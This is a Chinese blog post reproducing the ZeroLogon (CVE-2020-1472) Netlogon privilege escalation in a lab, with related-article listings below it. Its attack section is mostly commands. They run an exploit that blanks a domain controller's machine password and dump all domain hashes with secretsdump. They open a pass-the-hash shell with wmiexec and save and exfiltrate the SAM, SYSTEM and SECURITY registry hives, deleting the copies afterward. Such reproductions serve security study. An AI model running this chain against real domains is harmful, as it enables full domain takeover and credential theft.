CVE 2020-1472 Netlogon 特权提升漏洞

BROTHERYY BROTHERYY 博客等级 墨衍会员 · AI 创作全网分发 墨衍智能分发 本文由作者通过墨衍一键同步至各平台 1分发平台 300+累计阅读 383平均单平台 已同步平台 CSDN 微信公众号 微博 知乎 掘金 百家号 博客园 抖音 小红书 你的文章也可以这样分发 墨衍会员 ¥399起/年，写一次发全网 我也要 码龄7年
关注
原创 最新推荐文章于 2024-06-13 17:59:06 发布 383 阅读 AI 写同款· GEO 优化 ›
CVE-2020-1472 Netlogon特权提升漏洞分析及复现 0x01漏洞背景 NetLogon远程协议是一种在Windows 域控上使用的RPC 接口，被用于各种与用户和机器认证相关的任务。最常用于让用户使用NTLM协议登录服务器，也用于NTP响应认证以及更新计算机域密码。 微软MSRC于8月11日发布了Netlogon 特权提升漏洞安全通告。此漏洞CVE编号CVE-2020-1472，CVSS评分:10.0。由Secura公司的Tom Tervoort发现提交并命名为ZeroLogon。 0x02漏洞分析 Netlogon协议使用的是自定义的加密协议来让客户端（加 阅读详情

1.复现环境

DC：
os：windows 2012 server
ip：192.168.236.132

攻击机：
os：kali
ip：192.168.236.130

2.影响版本

Windows Server 2008 R2 for x64-based Systems
Service Pack 1Windows Server 2008 R2 for x64-based
Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)

3.域控环境搭建参考文章

4.复现过程

4.1 漏洞验证

POC链接

在这里插入图片描述
在这里插入图片描述

4.2 漏洞利用

安装最新的Impacket，否则会报错
在这里插入图片描述

4.2.1 下载攻击exp

EXP下载
在这里插入图片描述

4.2.2 置空密码
python3 cve-2020-1472-exploit.py WIN-F6STUQIU7D8 192.168.236.132

在这里插入图片描述

4.2.3 获取hash

进入到impacket/examples

python3 secretsdump.py DOMAIN/WIN-F6STUQIU7D8\$@192.168.236.132 -just-dc -no-pass

在这里插入图片描述

4.2.4 获取shell
python3 wmiexec.py -hashes <HASH> DOMAIN/administrator\@IP

在这里插入图片描述

4.2.5 获取原hash
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
exit

在这里插入图片描述

4.2.6 解析hash

保存$MACHINE.ACC部分：XXXXXXXXXXXXXX:XXXXXXX

python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

在这里插入图片描述

4.2.7 恢复hash

恢复链接
也可以直接
git clone https://github.com/risksense/zerologon

python3 reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR <ORI_HASH>

在这里插入图片描述

4.2.8 验证是否恢复

使用获取hash的命令来验证是否恢复

python3 secretsdump.py DOMAIN/DC_NETBIOS_NAME\$@DC_IP_ADDR -just-dc -no-pass

在这里插入图片描述

5.修复建议

修复建议

收录于
漏洞复现

当前文章被收录于：

漏洞复现
15 篇文章 0 人学习
订阅专栏 查看详情
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
Netlogon 特权提升漏洞 CVE-2020-1472 复现 Netlogon 特权提升漏洞 CVE-2020-1472 阅读详情

相关推荐

NetLogon特权提升漏洞（CVE-2020-1472）复现

简介 CVE-2020-1472是一个windows域控中严重的远程权限提升漏洞，攻击者通过NetLogon，建立与域控间易受攻击的安全通道时，可利用此漏洞获取域管访问权限。 影响版本 Windows Server 2008 R2 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) Window..

玄道的网安博客 2777

CVE-2020-1472域渗透 NetLogon 权限提升漏洞

模拟环境：获取了一个加入了域的计算机权限，在system账号权限的情况下，将域管密码置空，导出域管hash，然后进行连接

千寻的博客 896

Netlogon 特权提升漏洞(CVE-2020-1472)复现

漏洞简介: CVE-2020-1472是一个windows域控中严重的远程权限提升漏洞，Netlogon使用的AES认证算法中的vi向量默认为0，导致攻击者可以绕过认证，同时其设置域控密码的远程接口也使用了该函数，导致可以将域控中保存在AD中的管理员password设置为空。 影响版本： Windows Server 2008 R2 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for x64-based Systems Servic

bigblue00的博客 2014

Netlogon特权提升漏洞 (CVE-2020-1472)

在2020年8月份微软发布的安全公告中，有一个十分紧急的漏洞——CVE-2020-1472 NetLogon 权限提升漏洞。通过该漏洞，未经身份验证的攻击者只需要能访问域控的135端口即可通过 NetLogon 远程协议连接域控并重置域控机器的Hash，从而导致攻击者可以利用域控的机器账户导出域内所有用户的Hash（域控的机器账户默认具有DCSync权限）。该漏洞存在的原因是Netlogon协议中加密模块存在问题，导致攻击者能够在没有有效凭据的情况下通过身份认证。

渗透之路，攻防之间皆学问 5525

CVE-2020-1472 NetLogon 权限提升漏洞

windows

qq_53579360的博客 1103

内网渗透初探(三) ｜ 查缺补漏

一、前言 从linux打进去到域环境，到获取域控权限。因为前面基本都是在讲windows，这里补一篇linux的，全篇实操，喜欢的小伙伴们快来呀~ 二、外网打点 1、打开站点，很正常的一个登录界面 2、尝试登录后发现典型的shiro特征。 3、使用工具直接打shiro反序列化即可。 下载地址： GitHub - j1anFen/shiro_attack: shiro反序列化漏洞综合利用,包含（回显执行命令/注入内存马） 4、直接上冰蝎马，连接 三、权限维持 权限维持其实看

weixin_42508548的博客 4684

CVE-2020-1472: NetLogon特权提升漏洞通告

360CERT [三六零CERT](javascript:void(0)???? 今天 报告编号：B6-2020-081202 报告来源：360CERT 报告作者：360CERT 更新日期：2020-08-12 0x01 漏洞简述 2020年08月12日， 360CERT监测发现Windows官方 发布了 NetLogon 特权提升漏洞 的风险通告，该漏洞编号为 CVE-2020-1472，漏洞等级：严重，漏洞评分：10分。 攻击者通过NetLogon（MS-NRPC），建立与域控间易受攻击的安全通道时，

爱国小白帽 1万+

CVE-2020-1472 | Netlogon 特权提升漏洞预警

CVE-2020-1472 | Netlogon 特权提升漏洞预警 CVE-2020-1472 | Netlogon 特权提升漏洞预警 https://www.cnblogs.com/micr067/p/13677467.html 0x01 简介 CNVD:http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202008-548 NetLogon组件是 Windows 上一项重要的功能组件，用于用户和机器在域内网络上的认证，以及...

荒野求生的博客 449

Netlogon 特权提升漏洞复现（CVE-2020-1472）

NetLogon 介绍 NetLogon 远程协议是一种在 Windows 域控上使用的 RPC 接口,被用于各种与用户和机器认证相关的任务。最常用于让用户使用 NTLM 协议登录服务器，也用于 NTP 响应认证以及更新计算机域密码。 漏洞描述 攻击者使用 Netlogon 远程协议 (MS-NRPC) 建立与域控制器连接的 Netlogon 安全通道时，存在特权提升漏洞。当成功利用此漏洞时，攻击者无需通过身份验证，即可在网络中的设备上运行经特殊设计的应用程序，获取域控制器的管理员权限。 影响版本

我们为什么能在这里遇到？ 1133

CVE-2020-1472 NetLogon特权提升漏洞 复现

CVE-2020-1472漏洞复现 用了大半天时间，开局一张图，复现全靠蒙： 参考宽字节安全的推文：https://mp.weixin.qq.com/s/MSLbzg2hCoTSVTtEIxxpNQ 1、搭建一个windows的域环境 参考：https://blog.csdn.net/wwl012345/article/details/88934571 发现电脑里有一个win2008r2的虚拟机，就用这个了 更改随意IP和DNS 添加角色 根据提示，运行dcpromo.exe添加DNS服务器 记录域

mukami0621的博客 5223

CVE-2020-1472: NetLogon特权提升漏洞（附exp复现）

漏洞描述： 2020年08月12日， 微软官方发布了 NetLogon 特权提升漏洞 的风险通告。攻击者通过NetLogon(MS-NRPC)，建立与域控间易受攻击的安全通道时，可利用此漏洞获取域管访问权限。成功利用此漏洞的攻击者可以在该网络中的设备上运行经特殊设计的应用程序。 漏洞级别：严重 漏洞编号：CVE-2020-1472 漏洞复现： 准备工具： Impacket工具包：htt...

2万+

NetLogon特权提升漏洞（CVE-2020-1472）复现及问题解决

NetLogon特权提升漏洞（CVE-2020-1472）复现 漏洞描述 2020年08月12日，Windows官方 发布了 NetLogon 特权提升漏洞 的风险通告，该漏洞编号为 CVE-2020-1472，漏洞等级：严重，漏洞评分：10分。CVE-2020-1472是一个windows域控中严重的远程权限提升漏洞，攻击者通过NetLogon，建立与域控间易受攻击的安全通道时，可利用此漏洞获取域管访问权限。 漏洞成因 Netlogon协议身份认证采用了挑战-响应机制，其中加密算法是AES-CFB8，并且

Love&Share 1万+

CVE-2020-1472 —— NetLogon 特权提升漏洞

CVE-2020-1472——NetLogon 特权提升漏洞 https://github.com/dirkjanm/CVE-2020-1472 https://github.com/SecuraBV/CVE-2020-1472 描述 准备环境 攻击机：kali2020 受害机：Windows Server 2008 本地搭建域环境 过程 ...

战神/calmness的博客 251

[更新1.0:PoC公开]CVE-2020-1472: NetLogon特权提升漏洞通告

360CERT [三六零CERT](javascript:void(0)???? 今天 报告编号：B6-2020-091502 报告来源：360CERT 报告作者：360CERT 更新日期：2020-09-15 0x01 更新概览 2020年09月14日，360CERT监测发现 secura 公开了针对该漏洞研究报告及 PoC，可造成 权限提升影响。本次更新标识该漏洞的利用工具公开，并可能在短时间内出现攻击态势。 具体更新详情可参考: 漏洞验证 0x02 漏洞简述 2020年08月12日， 360CERT

爱国小白帽 1317

微软NetLogon特权提升漏洞复现（CVE-2020-1472）

2020年08月12日， 微软官方发布了 NetLogon 特权提升漏洞 的风险通告。攻击者通过NetLogon（MS-NRPC），建立与域控间易受攻击的安全通道时，可利用此漏洞获取域管访...

2万+
上一篇： CVE-2020-0796 SMBv3漏洞复现过程
下一篇： [GKCTF2020] web题-cve版签到
点赞 0
评论 0
书签 书签 0
BROTHERYY
BROTHERYY
博客等级 码龄7年 77粉丝 94原创
+ 关注 专栏目录 订阅专栏
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值